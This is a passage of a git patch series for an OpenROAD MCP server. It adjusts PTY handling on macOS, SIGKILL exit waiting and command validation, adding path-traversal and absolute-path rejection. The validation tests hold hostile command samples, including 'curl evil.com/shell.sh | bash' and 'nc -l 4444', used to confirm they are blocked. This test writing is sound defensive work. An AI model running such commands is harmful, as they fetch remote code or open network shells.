asyncio.sleep(0.05) + return result + + async def read_output(self, size: int | None = None) -> bytes | None: # noqa: ARG002 + if self._output_buffer: + data = bytes(self._output_buffer) + self._output_buffer.clear() + return data + return None + + async def cleanup(self) -> None: + await self._stop_reader() + if self._slave_keepalive_fd is not None: + try: + os.close(self._slave_keepalive_fd) + except OSError: + pass + self._slave_keepalive_fd = None + await super().cleanup() + + +def create_pty_handler() -> PTYHandler: + """Return the platform-appropriate PTYHandler instance.""" + if sys.platform == "darwin": + return MacOSPTYHandler() + return PTYHandler() From 77dc2493c2fca03706242d64ea16057e3ee00be0 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:25:57 -0600 Subject: [PATCH 35/43] use create_pty_handler so macOS gets the keepalive and drain subclass --- src/openroad_mcp/interactive/session.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/openroad_mcp/interactive/session.py b/src/openroad_mcp/interactive/session.py index 13a4a30..063c6b6 100644 --- a/src/openroad_mcp/interactive/session.py +++ b/src/openroad_mcp/interactive/session.py @@ -25,7 +25,7 @@ SessionError, SessionTerminatedError, ) -from .pty_handler import PTYHandler +from .pty_handler import PTYHandler, create_pty_handler logger = get_logger("interactive_session") @@ -78,7 +78,7 @@ def __init__(self, session_id: str, buffer_size: int | None = None) -> None: self._last_memory_check = time.time() # Core components - self.pty = PTYHandler() + self.pty = create_pty_handler() self.output_buffer = CircularBuffer(max_size=buffer_size) self.input_queue: asyncio.Queue[bytes] = asyncio.Queue(maxsize=settings.SESSION_QUEUE_SIZE) From d180b0f7ef558309034c06b59daba6227ca896a6 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:26:03 -0600 Subject: [PATCH 36/43] remove duplicate MacOSPTYHandler from test file and import from production --- tests/integration/test_pty_integration.py | 95 +---------------------- 1 file changed, 2 insertions(+), 93 deletions(-) diff --git a/tests/integration/test_pty_integration.py b/tests/integration/test_pty_integration.py index 1bc033f..5ec11b1 100644 --- a/tests/integration/test_pty_integration.py +++ b/tests/integration/test_pty_integration.py @@ -2,104 +2,13 @@ import asyncio import os -import sys from unittest.mock import patch import pytest from openroad_mcp.config.settings import settings from openroad_mcp.interactive.models import PTYError -from openroad_mcp.interactive.pty_handler import PTYHandler - - -class _MacOSPTYHandler(PTYHandler): - """PTYHandler subclass for macOS. - - Two macOS-specific problems combine to lose output from fast-exiting processes: - - 1. Buffer discard: when all slave-fd holders close, macOS discards the PTY - master's read buffer. Fix: dup the slave fd as a keepalive before the parent - closes it (via _before_slave_close) so the buffer survives child exit. - - 2. tcdrain deadlock: bash -c flushes stdout via tcdrain() before exiting. - tcdrain() blocks until the master fd is drained by the parent, but - wait_for_exit() only calls process.wait() without reading — deadlocking. - Fix: _drain_loop task continuously reads from master_fd so tcdrain() - always completes and bash exits normally. - """ - - def __init__(self) -> None: - super().__init__() - self._output_buffer: bytearray = bytearray() - self._slave_keepalive_fd: int | None = None - self._reader_task: asyncio.Task | None = None - - async def create_session(self, *args, **kwargs) -> None: - self._output_buffer.clear() - await self._stop_reader() - if self._slave_keepalive_fd is not None: - try: - os.close(self._slave_keepalive_fd) - except OSError: - pass - self._slave_keepalive_fd = None - await super().create_session(*args, **kwargs) - self._reader_task = asyncio.create_task(self._drain_loop()) - - def _before_slave_close(self, slave_fd: int) -> None: - # Dup before the parent closes so macOS never sees "no slave holders", - # preventing premature master buffer discard on child exit. - try: - self._slave_keepalive_fd = os.dup(slave_fd) - except OSError: - pass - - async def _drain_loop(self) -> None: - while self.master_fd is not None: - try: - data = os.read(self.master_fd, 65536) - if data: - self._output_buffer.extend(data) - else: - break - except BlockingIOError: - await asyncio.sleep(0.001) - except OSError: - break - - async def _stop_reader(self) -> None: - if self._reader_task is not None: - self._reader_task.cancel() - try: - await self._reader_task - except asyncio.CancelledError: - pass - self._reader_task = None - - async def wait_for_exit(self, timeout: float | None = None) -> int | None: - result = await super().wait_for_exit(timeout=timeout) - if result is not None: - # Yield to _drain_loop so it can collect any output committed to the - # master buffer in the final moments before the process exited. - await asyncio.sleep(0.05) - return result - - async def read_output(self, size: int | None = None) -> bytes | None: # noqa: ARG002 - if self._output_buffer: - data = bytes(self._output_buffer) - self._output_buffer.clear() - return data - return None - - async def cleanup(self) -> None: - await self._stop_reader() - if self._slave_keepalive_fd is not None: - try: - os.close(self._slave_keepalive_fd) - except OSError: - pass - self._slave_keepalive_fd = None - await super().cleanup() +from openroad_mcp.interactive.pty_handler import create_pty_handler def can_create_pty() -> bool: @@ -131,7 +40,7 @@ def disable_command_validation(self): @pytest.fixture async def pty_handler(self): """Create and cleanup PTY handler.""" - handler = _MacOSPTYHandler() if sys.platform == "darwin" else PTYHandler() + handler = create_pty_handler() try: yield handler finally: From a4fac11ee01dbede4594b5dbabcedc7382217ca5 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sun, 14 Jun 2026 10:26:00 -0600 Subject: [PATCH 37/43] =?UTF-8?q?remove=20MacOSPTYHandler=20and=20create?= =?UTF-8?q?=5Fpty=5Fhandler=20=E2=80=94=20not=20needed=20for=20PoC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/openroad_mcp/interactive/pty_handler.py | 96 --------------------- src/openroad_mcp/interactive/session.py | 4 +- tests/integration/test_pty_integration.py | 4 +- 3 files changed, 4 insertions(+), 100 deletions(-) diff --git a/src/openroad_mcp/interactive/pty_handler.py b/src/openroad_mcp/interactive/pty_handler.py index 7f0952d..ecbf5dc 100644 --- a/src/openroad_mcp/interactive/pty_handler.py +++ b/src/openroad_mcp/interactive/pty_handler.py @@ -5,7 +5,6 @@ import fcntl import os import pty -import sys import termios from ..config.constants import LARGE_IO_THRESHOLD @@ -288,98 +287,3 @@ async def cleanup(self) -> None: logger.debug("PTY handler cleanup completed") -class MacOSPTYHandler(PTYHandler): - """PTYHandler subclass for macOS. - - Two macOS-specific problems combine to lose output from fast-exiting processes: - - 1. Buffer discard: when all slave-fd holders close, macOS discards the PTY - master's read buffer. Fix: dup the slave fd as a keepalive before the parent - closes it (via _before_slave_close) so the buffer survives child exit. - - 2. tcdrain deadlock: bash -c flushes stdout via tcdrain() before exiting. - tcdrain() blocks until the master fd is drained by the parent, but - wait_for_exit() only calls process.wait() without reading — deadlocking. - Fix: _drain_loop task continuously reads from master_fd so tcdrain() - always completes and bash exits normally. - """ - - def __init__(self) -> None: - super().__init__() - self._output_buffer: bytearray = bytearray() - self._slave_keepalive_fd: int | None = None - self._reader_task: asyncio.Task | None = None - - async def create_session(self, *args, **kwargs) -> None: - self._output_buffer.clear() - await self._stop_reader() - if self._slave_keepalive_fd is not None: - try: - os.close(self._slave_keepalive_fd) - except OSError: - pass - self._slave_keepalive_fd = None - await super().create_session(*args, **kwargs) - self._reader_task = asyncio.create_task(self._drain_loop()) - - def _before_slave_close(self, slave_fd: int) -> None: - # Dup before the parent closes so macOS never sees "no slave holders", - # preventing premature master buffer discard on child exit. - try: - self._slave_keepalive_fd = os.dup(slave_fd) - except OSError: - pass - - async def _drain_loop(self) -> None: - while self.master_fd is not None: - try: - data = os.read(self.master_fd, 65536) - if data: - self._output_buffer.extend(data) - else: - break - except BlockingIOError: - await asyncio.sleep(0.001) - except OSError: - break - - async def _stop_reader(self) -> None: - if self._reader_task is not None: - self._reader_task.cancel() - try: - await self._reader_task - except asyncio.CancelledError: - pass - self._reader_task = None - - async def wait_for_exit(self, timeout: float | None = None) -> int | None: - result = await super().wait_for_exit(timeout=timeout) - if result is not None: - # Yield to _drain_loop so it can collect any output committed to the - # master buffer in the final moments before the process exited. - await asyncio.sleep(0.05) - return result - - async def read_output(self, size: int | None = None) -> bytes | None: # noqa: ARG002 - if self._output_buffer: - data = bytes(self._output_buffer) - self._output_buffer.clear() - return data - return None - - async def cleanup(self) -> None: - await self._stop_reader() - if self._slave_keepalive_fd is not None: - try: - os.close(self._slave_keepalive_fd) - except OSError: - pass - self._slave_keepalive_fd = None - await super().cleanup() - - -def create_pty_handler() -> PTYHandler: - """Return the platform-appropriate PTYHandler instance.""" - if sys.platform == "darwin": - return MacOSPTYHandler() - return PTYHandler() diff --git a/src/openroad_mcp/interactive/session.py b/src/openroad_mcp/interactive/session.py index 063c6b6..13a4a30 100644 --- a/src/openroad_mcp/interactive/session.py +++ b/src/openroad_mcp/interactive/session.py @@ -25,7 +25,7 @@ SessionError, SessionTerminatedError, ) -from .pty_handler import PTYHandler, create_pty_handler +from .pty_handler import PTYHandler logger = get_logger("interactive_session") @@ -78,7 +78,7 @@ def __init__(self, session_id: str, buffer_size: int | None = None) -> None: self._last_memory_check = time.time() # Core components - self.pty = create_pty_handler() + self.pty = PTYHandler() self.output_buffer = CircularBuffer(max_size=buffer_size) self.input_queue: asyncio.Queue[bytes] = asyncio.Queue(maxsize=settings.SESSION_QUEUE_SIZE) diff --git a/tests/integration/test_pty_integration.py b/tests/integration/test_pty_integration.py index 5ec11b1..935e1ea 100644 --- a/tests/integration/test_pty_integration.py +++ b/tests/integration/test_pty_integration.py @@ -8,7 +8,7 @@ from openroad_mcp.config.settings import settings from openroad_mcp.interactive.models import PTYError -from openroad_mcp.interactive.pty_handler import create_pty_handler +from openroad_mcp.interactive.pty_handler import PTYHandler def can_create_pty() -> bool: @@ -40,7 +40,7 @@ def disable_command_validation(self): @pytest.fixture async def pty_handler(self): """Create and cleanup PTY handler.""" - handler = create_pty_handler() + handler = PTYHandler() try: yield handler finally: From 1145bf2e9c15df00f05034d1bf455ed9a508fc81 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sun, 14 Jun 2026 10:32:09 -0600 Subject: [PATCH 38/43] await SIGKILL exit in terminateProcess so cleanup cannot race the exit listener --- .../__tests__/interactive/pty_handler.test.ts | 27 +++++++++++++++++++ typescript/src/interactive/pty_handler.ts | 5 ++++ 2 files changed, 32 insertions(+) diff --git a/typescript/__tests__/interactive/pty_handler.test.ts b/typescript/__tests__/interactive/pty_handler.test.ts index 87ef518..a9ac82e 100644 --- a/typescript/__tests__/interactive/pty_handler.test.ts +++ b/typescript/__tests__/interactive/pty_handler.test.ts @@ -268,11 +268,38 @@ describe("PtyHandler", () => { return originalWaitForExit(ms); }); + // Simulate kernel acknowledging SIGKILL so the subsequent waitForExit() resolves + mockPty.kill.mockImplementation((signal: string) => { + if (signal === "SIGKILL") setTimeout(() => mockPty._exit(137), 0); + }); + await handler.terminateProcess(false); expect(mockPty.kill).toHaveBeenCalledWith("SIGTERM"); expect(mockPty.kill).toHaveBeenCalledWith("SIGKILL"); }); + it("waitForExit callers receive 137 when cleanup follows SIGKILL-forced termination so the exit listener is not disposed before the exit fires", async () => { + await handler.createSession(["echo"]); + + const originalWaitForExit = handler.waitForExit.bind(handler); + vi.spyOn(handler, "waitForExit").mockImplementation(async (ms) => { + if (ms === 5000) return null; + return originalWaitForExit(ms); + }); + + mockPty.kill.mockImplementation((signal: string) => { + if (signal === "SIGKILL") setTimeout(() => mockPty._exit(137), 0); + }); + + const waiter = handler.waitForExit(10000); + await handler.terminateProcess(false); + // terminateProcess() must have already awaited SIGKILL so _exitCode = 137; + // cleanup() disposing _exitDisposable here cannot race the exit listener + await handler.cleanup(); + + expect(await waiter).toBe(137); + }); + it("does not throw when SIGTERM kill raises (process already dead)", async () => { await handler.createSession(["echo"]); mockPty.kill.mockImplementation(() => { diff --git a/typescript/src/interactive/pty_handler.ts b/typescript/src/interactive/pty_handler.ts index e24fea2..8bbd29d 100644 --- a/typescript/src/interactive/pty_handler.ts +++ b/typescript/src/interactive/pty_handler.ts @@ -163,6 +163,11 @@ export class PtyHandler { } catch { // ignored } + // Await SIGKILL acknowledgement before returning so onExit fires and + // records _exitCode; without this, cleanup() disposes _exitDisposable + // while _exitCode is still null and waitForExit() callers get null + // instead of 137. + await this.waitForExit(); } } From 8fe441959457a0d49be869182a319c101cce8504 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sun, 14 Jun 2026 10:33:54 -0600 Subject: [PATCH 39/43] block path traversal sequences in validateCommand argument check --- .../interactive/command_validation.test.ts | 18 ++++++++++++++++++ typescript/src/interactive/pty_handler.ts | 5 +++++ 2 files changed, 23 insertions(+) diff --git a/typescript/__tests__/interactive/command_validation.test.ts b/typescript/__tests__/interactive/command_validation.test.ts index e0b4059..c62e674 100644 --- a/typescript/__tests__/interactive/command_validation.test.ts +++ b/typescript/__tests__/interactive/command_validation.test.ts @@ -191,6 +191,24 @@ describe("command injection prevention", () => { makeHandler().validateCommand(["openroad", ">sensitive_file.txt"]), ).toThrow(PTYError); }); + + it("blocks path traversal in script argument", () => { + expect(() => + makeHandler().validateCommand(["openroad", "-script", "../../etc/malicious.tcl"]), + ).toThrow("contains path traversal"); + expect(() => + makeHandler().validateCommand(["openroad", "-script", "../sibling.tcl"]), + ).toThrow("contains path traversal"); + expect(() => + makeHandler().validateCommand(["openroad", ".."]), + ).toThrow("contains path traversal"); + }); + + it("passes for legitimate relative and nested paths without traversal", () => { + makeHandler().validateCommand(["openroad", "scripts/design.tcl"]); + makeHandler().validateCommand(["openroad", "-script", "design.tcl"]); + makeHandler().validateCommand(["openroad", "file..name.tcl"]); + }); }); describe("environment variable configuration", () => { diff --git a/typescript/src/interactive/pty_handler.ts b/typescript/src/interactive/pty_handler.ts index 8bbd29d..58904ce 100644 --- a/typescript/src/interactive/pty_handler.ts +++ b/typescript/src/interactive/pty_handler.ts @@ -52,6 +52,11 @@ export class PtyHandler { `Command argument ${i} contains redirection operators which are not allowed: ${JSON.stringify(arg)}`, ); } + if (arg.split(/[/\\]/).some((part) => part === "..")) { + throw new PTYError( + `Command argument ${i} contains path traversal sequence which is not allowed: ${JSON.stringify(arg)}`, + ); + } } } From 6dc1d7be2b49027fde3ff34e032cba98d6fbfd52 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sun, 14 Jun 2026 10:36:50 -0600 Subject: [PATCH 40/43] reject absolute paths in python validateCommand to match typescript behavior --- src/openroad_mcp/interactive/pty_handler.py | 11 +++++++--- tests/interactive/test_command_validation.py | 21 ++++++++++---------- 2 files changed, 18 insertions(+), 14 deletions(-) diff --git a/src/openroad_mcp/interactive/pty_handler.py b/src/openroad_mcp/interactive/pty_handler.py index ecbf5dc..3ed634d 100644 --- a/src/openroad_mcp/interactive/pty_handler.py +++ b/src/openroad_mcp/interactive/pty_handler.py @@ -35,12 +35,17 @@ def _validate_command(self, command: list[str]) -> None: executable = command[0] - absolute_executable = os.path.basename(executable) if os.path.isabs(executable) else executable + if os.path.isabs(executable): + raise PTYError( + f"Command '{executable}' must not be an absolute path. " + f"Use the binary name only (e.g. 'openroad'). " + f"To add this command, set OPENROAD_ALLOWED_COMMANDS environment variable." + ) - if absolute_executable not in settings.ALLOWED_COMMANDS: + if executable not in settings.ALLOWED_COMMANDS: allowed_list = ", ".join(settings.ALLOWED_COMMANDS) raise PTYError( - f"Command '{absolute_executable}' is not in the allowed commands list. " + f"Command '{executable}' is not in the allowed commands list. " f"Allowed commands: {allowed_list}. " f"To add this command, set OPENROAD_ALLOWED_COMMANDS environment variable." ) diff --git a/tests/interactive/test_command_validation.py b/tests/interactive/test_command_validation.py index 64a3294..6a96492 100644 --- a/tests/interactive/test_command_validation.py +++ b/tests/interactive/test_command_validation.py @@ -36,24 +36,23 @@ def test_validate_empty_command(self, pty_handler): def test_validate_disallowed_command(self, pty_handler): """Test validation fails for disallowed commands.""" - with pytest.raises(PTYError, match="not in the allowed commands list"): - pty_handler._validate_command(["/bin/bash"]) - with pytest.raises(PTYError, match="not in the allowed commands list"): pty_handler._validate_command(["python"]) with pytest.raises(PTYError, match="not in the allowed commands list"): pty_handler._validate_command(["sh"]) - def test_validate_absolute_path_allowed(self, pty_handler): - """Test validation passes for absolute paths to allowed commands.""" - pty_handler._validate_command(["/usr/bin/openroad", "-no_init"]) + def test_validate_absolute_path_rejected(self, pty_handler): + """Test validation rejects absolute paths regardless of basename.""" + with pytest.raises(PTYError, match="absolute path"): + pty_handler._validate_command(["/usr/bin/openroad", "-no_init"]) - def test_validate_absolute_path_disallowed(self, pty_handler): - """Test validation fails for absolute paths to disallowed commands.""" - with pytest.raises(PTYError, match="not in the allowed commands list"): + with pytest.raises(PTYError, match="absolute path"): pty_handler._validate_command(["/bin/bash", "-c", "echo hello"]) + with pytest.raises(PTYError, match="absolute path"): + pty_handler._validate_command(["/malicious/dir/openroad"]) + def test_validate_shell_metacharacters_semicolon(self, pty_handler): """Test validation fails for semicolon in arguments.""" with pytest.raises(PTYError, match="contains shell metacharacters"): @@ -164,7 +163,7 @@ def test_prevent_pipe_to_shell(self, pty_handler): def test_prevent_malicious_script_execution(self, pty_handler): """Test prevention of malicious script execution.""" - with pytest.raises(PTYError, match="not in the allowed commands list"): + with pytest.raises(PTYError, match="absolute path"): pty_handler._validate_command(["/bin/bash", "-c", "curl evil.com/shell.sh | bash"]) def test_prevent_file_overwrite(self, pty_handler): @@ -174,7 +173,7 @@ def test_prevent_file_overwrite(self, pty_handler): def test_prevent_arbitrary_binary_execution(self, pty_handler): """Test prevention of arbitrary binary execution.""" - with pytest.raises(PTYError, match="not in the allowed commands list"): + with pytest.raises(PTYError, match="absolute path"): pty_handler._validate_command(["/usr/bin/nc", "-l", "4444"]) with pytest.raises(PTYError, match="not in the allowed commands list"): From 4947dbe7533a43112e9903c0f343cb63685d76b4 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sun, 14 Jun 2026 11:32:51 -0600 Subject: [PATCH 41/43] truncate single oversized chunk to maxSize to enforce capacity invariant --- typescript/__tests__/interactive/buffer.test.ts | 10 ++++++---- typescript/src/interactive/buffer.ts | 8 ++++++++ 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/typescript/__tests__/interactive/buffer.test.ts b/typescript/__tests__/interactive/buffer.test.ts index d00eb06..b3ca8fa 100644 --- a/typescript/__tests__/interactive/buffer.test.ts +++ b/typescript/__tests__/interactive/buffer.test.ts @@ -50,7 +50,7 @@ describe("CircularBuffer", () => { expect(chunks).toEqual(["67890", "ABCDE"]); }); - it("keeps a single oversized chunk as the only entry", async () => { + it("truncates a single oversized chunk to the last maxSize characters", async () => { const buf = new CircularBuffer(10); await buf.append("12345"); await buf.append("67890"); @@ -58,7 +58,8 @@ describe("CircularBuffer", () => { const chunks = await buf.drainAll(); expect(chunks).toHaveLength(1); - expect(chunks[0]).toBe("LARGE_CHUNK_EXCEEDS"); + expect(chunks[0]).toBe("NK_EXCEEDS"); + expect(buf.size).toBe(0); }); }); @@ -81,12 +82,13 @@ describe("CircularBuffer", () => { expect(buf.size).toBe(0); }); - it("very small buffer keeps the newest chunk even if oversized", async () => { + it("very small buffer truncates oversized chunk to maxSize", async () => { const buf = new CircularBuffer(1); await buf.append("ab"); const chunks = await buf.drainAll(); expect(chunks).toHaveLength(1); - expect(chunks[0]).toBe("ab"); + expect(chunks[0]).toBe("b"); + expect(buf.size).toBe(0); }); }); diff --git a/typescript/src/interactive/buffer.ts b/typescript/src/interactive/buffer.ts index fbf2571..bc33e60 100644 --- a/typescript/src/interactive/buffer.ts +++ b/typescript/src/interactive/buffer.ts @@ -37,6 +37,14 @@ export class CircularBuffer { this._totalSize -= old.length; } + // A single chunk that still exceeds maxSize is truncated to the last + // maxSize bytes so the buffer never permanently exceeds its capacity. + if (this._totalSize > this.maxSize) { + const chunk = this._chunks[0]!; + this._chunks[0] = chunk.slice(chunk.length - this.maxSize); + this._totalSize = this.maxSize; + } + this._dataAvailable = true; const pending = this._resolvers.splice(0); for (const resolve of pending) resolve(true); From 113fbda86b96072f2734d4189ecb503fc6be452c Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sun, 14 Jun 2026 11:53:06 -0600 Subject: [PATCH 42/43] throw on unrecognised boolean env vars and lazily init settings to prevent silent security disable --- typescript/src/config/settings.ts | 39 ++++++++++++++++++++--- typescript/src/interactive/pty_handler.ts | 4 +-- typescript/src/interactive/session.ts | 4 +-- typescript/src/main.ts | 12 ++++++- 4 files changed, 49 insertions(+), 10 deletions(-) diff --git a/typescript/src/config/settings.ts b/typescript/src/config/settings.ts index 8f5507f..97fbbc6 100644 --- a/typescript/src/config/settings.ts +++ b/typescript/src/config/settings.ts @@ -2,8 +2,17 @@ import os from "node:os"; import path from "node:path"; import fs from "node:fs"; -function parseBool(val: string): boolean { - return ["true", "1", "yes"].includes(val.toLowerCase()); +const TRUTHY_VALUES = ["true", "1", "yes"]; +const FALSY_VALUES = ["false", "0", "no"]; + +function parseBool(envKey: string, val: string): boolean { + const normalized = val.trim().toLowerCase(); + if (TRUTHY_VALUES.includes(normalized)) return true; + if (FALSY_VALUES.includes(normalized)) return false; + throw new Error( + `Invalid value for ${envKey}: ${val}. Expected a boolean ` + + `(${TRUTHY_VALUES.join("/")} or ${FALSY_VALUES.join("/")}).`, + ); } function parseFloat_(envKey: string, val: string): number { @@ -118,16 +127,36 @@ export class Settings { const enableValidationEnv = process.env["OPENROAD_ENABLE_COMMAND_VALIDATION"]; if (enableValidationEnv !== undefined) { - overrides.ENABLE_COMMAND_VALIDATION = parseBool(enableValidationEnv); + overrides.ENABLE_COMMAND_VALIDATION = parseBool("OPENROAD_ENABLE_COMMAND_VALIDATION", enableValidationEnv); } const whitelistEnabledEnv = process.env["OPENROAD_WHITELIST_ENABLED"]; if (whitelistEnabledEnv !== undefined) { - overrides.WHITELIST_ENABLED = parseBool(whitelistEnabledEnv); + overrides.WHITELIST_ENABLED = parseBool("OPENROAD_WHITELIST_ENABLED", whitelistEnabledEnv); } return new Settings(overrides); } } -export const settings = Settings.fromEnv(); +let _cachedSettings: Settings | null = null; + +/** + * Build and cache settings from the environment. Wraps any parsing error with + * context so a misconfigured env var produces an actionable startup message + * instead of a raw error thrown from module initialisation. + */ +export function initSettings(): Settings { + try { + _cachedSettings = Settings.fromEnv(); + } catch (e) { + const msg = e instanceof Error ? e.message : String(e); + throw new Error(`Failed to initialise settings from environment variables: ${msg}`); + } + return _cachedSettings; +} + +/** Return the cached settings, initialising them lazily on first access. */ +export function getSettings(): Settings { + return _cachedSettings ?? initSettings(); +} diff --git a/typescript/src/interactive/pty_handler.ts b/typescript/src/interactive/pty_handler.ts index 58904ce..387c929 100644 --- a/typescript/src/interactive/pty_handler.ts +++ b/typescript/src/interactive/pty_handler.ts @@ -1,7 +1,7 @@ import path from "node:path"; import { spawn } from "node-pty"; import type { IPty, IDisposable } from "node-pty"; -import { settings as defaultSettings } from "../config/settings.js"; +import { getSettings } from "../config/settings.js"; import type { Settings } from "../config/settings.js"; import { PTYError } from "./models.js"; @@ -13,7 +13,7 @@ export class PtyHandler { private _exitResolvers: Array<(code: number | null) => void> = []; private _exitCode: number | null = null; - constructor(private readonly _settings: Settings = defaultSettings) {} + constructor(private readonly _settings: Settings = getSettings()) {} validateCommand(command: string[]): void { if (!this._settings.ENABLE_COMMAND_VALIDATION) return; diff --git a/typescript/src/interactive/session.ts b/typescript/src/interactive/session.ts index 9dd4462..95c9644 100644 --- a/typescript/src/interactive/session.ts +++ b/typescript/src/interactive/session.ts @@ -1,5 +1,5 @@ import { ANSIDecoder } from "../utils/ansi_decoder.js"; -import { settings as defaultSettings } from "../config/settings.js"; +import { getSettings } from "../config/settings.js"; import type { Settings } from "../config/settings.js"; import { SessionState } from "../core/models.js"; import type { InteractiveExecResult, InteractiveSessionInfo } from "../core/models.js"; @@ -42,7 +42,7 @@ export class InteractiveSession { private _isShutdown = false; private _writerTask: Promise | null = null; - constructor(sessionId: string, bufferSize?: number, private readonly _settings: Settings = defaultSettings) { + constructor(sessionId: string, bufferSize?: number, private readonly _settings: Settings = getSettings()) { this.sessionId = sessionId; this.createdAt = new Date(); this._state = SessionState.CREATING; diff --git a/typescript/src/main.ts b/typescript/src/main.ts index cb0ff5c..e228fb8 100644 --- a/typescript/src/main.ts +++ b/typescript/src/main.ts @@ -1 +1,11 @@ -export {}; +import { initSettings } from "./config/settings.js"; + +// Eagerly initialise settings at startup so a misconfigured environment variable +// is reported with useful context and a non-zero exit code, rather than crashing +// later from inside module initialisation when settings are first accessed. +try { + initSettings(); +} catch (e) { + console.error(e instanceof Error ? e.message : String(e)); + process.exit(1); +} From 426d0b81f0735a315804cff16593f057756e7703 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sun, 14 Jun 2026 11:53:11 -0600 Subject: [PATCH 43/43] fix ansi decoder escape coverage, annotate mode cr handling, mode validation and pre-compile sequence patterns --- typescript/src/utils/ansi_decoder.ts | 41 +++++++++++++++++++++------- 1 file changed, 31 insertions(+), 10 deletions(-) diff --git a/typescript/src/utils/ansi_decoder.ts b/typescript/src/utils/ansi_decoder.ts index cbddb4a..9e16ce4 100644 --- a/typescript/src/utils/ansi_decoder.ts +++ b/typescript/src/utils/ansi_decoder.ts @@ -1,15 +1,18 @@ import stripAnsi from "strip-ansi"; const ESCAPE_SEQUENCES: Record = { - // Terminal modes - "\\x1b\\[?\\d*h": "Enable terminal mode", - "\\x1b\\[?\\d*l": "Disable terminal mode", + // Private mode sequences (DECSET/DECRST). Specific codes are listed first so + // they match before the generic private-mode catch-all below. "\\x1b\\[\\?2004h": "Enable bracketed paste mode", "\\x1b\\[\\?2004l": "Disable bracketed paste mode", "\\x1b\\[\\?1049h": "Enable alternative screen buffer", "\\x1b\\[\\?1049l": "Disable alternative screen buffer", "\\x1b\\[\\?25h": "Show cursor", "\\x1b\\[\\?25l": "Hide cursor", + // Generic private-mode set/reset. The `?` is escaped so `[?` is mandatory, + // preventing single-char escapes like \x1bh / \x1bl from matching here. + "\\x1b\\[\\?\\d*h": "Enable terminal mode", + "\\x1b\\[\\?\\d*l": "Disable terminal mode", // Cursor movement "\\x1b\\[\\d*A": "Move cursor up", "\\x1b\\[\\d*B": "Move cursor down", @@ -53,17 +56,31 @@ const ESCAPE_SEQUENCES: Record = { "\\x1b\\[47m": "White background", }; -const ESCAPE_PATTERN = /\x1b\[[0-9;?]*[a-zA-Z]/g; +// Matches the common ANSI escape sequence families so that non-CSI sequences +// (OSC, charset designation, single/two-char escapes) are detected in every +// mode rather than leaking through as raw bytes. Order matters: longer/anchored +// alternatives come first so they win at a given match position. +// 1. OSC: ESC ] ... (BEL | ST) +// 2. CSI: ESC [ params final +// 3. Charset/desig.: ESC ( | ) | # +// 4. Single/two-char: ESC +const ESCAPE_PATTERN = + /\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b\[[0-9;?]*[a-zA-Z]|\x1b[()#][0-9A-Za-z]|\x1b[=>NMcDEH78]/g; + +const VALID_MODES = ["remove", "annotate", "preserve", "decode"]; + +// Pre-compile the escape-sequence patterns once at module load instead of +// allocating ~45 RegExp objects on every decodeEscapeSequence() call. +const COMPILED_SEQUENCES: Array<[RegExp, string]> = Object.entries(ESCAPE_SEQUENCES).map( + ([pattern, description]) => [new RegExp(`^${pattern}`), description], +); export class ANSIDecoder { static decodeEscapeSequence(sequence: string): string { - for (const [pattern, description] of Object.entries(ESCAPE_SEQUENCES)) { - if (new RegExp(`^${pattern}`).test(sequence)) return description; + for (const [pattern, description] of COMPILED_SEQUENCES) { + if (pattern.test(sequence)) return description; } - if (sequence.includes("?2004h")) return "Enable bracketed paste mode"; - if (sequence.includes("?2004l")) return "Disable bracketed paste mode"; - if (sequence.startsWith("\x1b[")) { if (sequence.includes("?")) { if (sequence.endsWith("h")) return `Enable terminal mode (${sequence})`; @@ -83,6 +100,10 @@ export class ANSIDecoder { } static translateOutput(text: string, mode: string = "annotate"): string { + if (!VALID_MODES.includes(mode)) { + throw new Error(`Unknown mode: ${mode}`); + } + if (!text) return text; const sequences = text.match(ESCAPE_PATTERN) ?? []; @@ -96,7 +117,7 @@ export class ANSIDecoder { for (const seq of new Set(sequences)) { result = result.replaceAll(seq, `[${ANSIDecoder.decodeEscapeSequence(seq)}]`); } - return result.replace(/\r\n/g, "\n").replace(/\r/g, ""); + return result.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); } if (mode === "preserve") {